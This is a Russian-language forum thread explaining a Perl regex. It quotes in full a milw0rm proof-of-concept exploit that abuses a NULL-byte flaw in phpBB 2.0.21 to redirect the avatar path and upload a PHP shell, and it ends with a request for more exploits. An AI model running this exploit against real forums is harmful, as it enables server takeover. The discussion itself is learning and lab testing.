ктонить может мне объяснить что вот это делает - $content=~ m/true&sid=([^"]+)"/g; как я понимаю m// это функция сравнения... но что значит ([^"]+)" и флаг g?
([^"]+)" - Поместить в $1 всё до первой двойной кавычки флаг g - Продолжить поиск с того места, где остановился в прошлый раз.
значит получается так ? m/true&sid=([^"]+)"/g; ищет строку "true&sid=x" где x как минимум одна литера перед тем как мы найдём ковычку (") ? ну и потом g продолжает всё это дело?
Смотря что у тебя в программе, продолжать оно будет после того как заново поподёт в это или другое регулярное выражение, имеющее флаг g и работающее с этой переменной.
мммм....это работает (продолжение поиска) только если это выражение в цикле? или просто в лубом другом месте где я его использую на этойже строке?
Я вот не пойму, для чего спрашивать, разьве нельзя установить перл и попробовать? Code: [color=#00AA00]$text[color=#0000FF]=[/COLOR][/COLOR][color=#FFFF00]'123 456 789'[/COLOR][color=#00AA00][color=#FF0000];[/COLOR] $text[color=#0000FF]=[/COLOR]~m[color=#0000FF]/([/COLOR]\d[color=#0000FF]+)/[/COLOR]g[color=#FF0000];[/COLOR] [color=#00FF00]print[/COLOR] [/COLOR][color=#FFFF00]"[color=#00AA00]$1[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#FF0000];[/COLOR] $text[color=#0000FF]=[/COLOR]~m[color=#0000FF]/([/COLOR]\d[color=#0000FF]+)/[/COLOR]g[color=#FF0000];[/COLOR] [color=#00FF00]print[/COLOR] [/COLOR][color=#FFFF00]"[color=#00AA00]$1[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#FF0000];[/COLOR] $text[color=#0000FF]=[/COLOR]~m[color=#0000FF]/([/COLOR]\d[color=#0000FF]+)/[/COLOR]g[color=#FF0000];[/COLOR] [color=#00FF00]print[/COLOR] [/COLOR][color=#FFFF00]"[color=#00AA00]$1[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#FF0000];[/COLOR][/COLOR] Результат Code: 123 456 789
вот откуда я это взял - Code: #!/usr/bin/perl -w # Author: ShAnKaR # Title: multiple PHP application poison NULL byte vulnerability # Applications: phpBB 2.0.21, punBB 1.2.12 # Threat Level: Critical # Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html # # Poison NULL byte vulnerability for perl CGI applications was described # in [1]. ShAnKaR noted, that same vulnerability also affects different # PHP applications. An example of vulnerable applications are phpBB and # punBB. # # Vulnerability can be used to upload or replace arbitrary files on # server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename. # # In case of phpBB and punBB vulnerability can be exploited by changing # location of avatar file and uploading avatar file with PHP code in EXIF # data. # # A PoC exploit to change Avatar file location for phpBB: # # use HTTP::Cookies; use LWP; use URI::Escape; unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"} my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)'); $ua->cookie_jar( HTTP::Cookies->new()); $url='http://'.$ARGV[0].'/login.php'; $data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1"; my $req = new HTTP::Request 'POST',$url; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); my $res = $ua->request($req); $res=$ua->get('http://'.$ARGV[0].'/login.php'); $content=$res->content; $content=~ m/true&sid=([^"]+)"/g; if($ARGV[4]){ $content=$res->content; print $content; } $url='http://'.$ARGV[0].'/login.php'; $data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1"; $req = new HTTP::Request 'POST',$url; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $res = $ua->request($req); $url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1; $data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00"; $req = new HTTP::Request 'POST',$url; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $res = $ua->request($req); if($ARGV[4]){ $content=$res->content; print $content; } # milw0rm.com [2006-09-11] вот я не пойму...как это экспроит может работать? как мне кажется всё что он делает - логинит юзера, берёт его sid идентификатор после и пытается зайти в администрацию с этим сид-ом... я поставил себе phpbb2.0.21 и с виртуальной машины запустил этот код...ничего конечно не сработало...ошибка была в том что сид не получался вообще. и так как $content=~ m/true&sid=([^"]+)"/g; именно тот код который его должен получить я хотел спросить чё вообще этот код делать должен
На самом деле, флаг g там действительно безсмыслен(скорее всего по привычке поставил), а для работы эксплоита, вроди бы надо иметь админские права, тода он установить в путь к аватарам так, чтоб можно было залить шэлл.
а где найти? я только milw0rm.com знаю я поискал на этом форуме...нашёл тока про то что я там наверху скопировал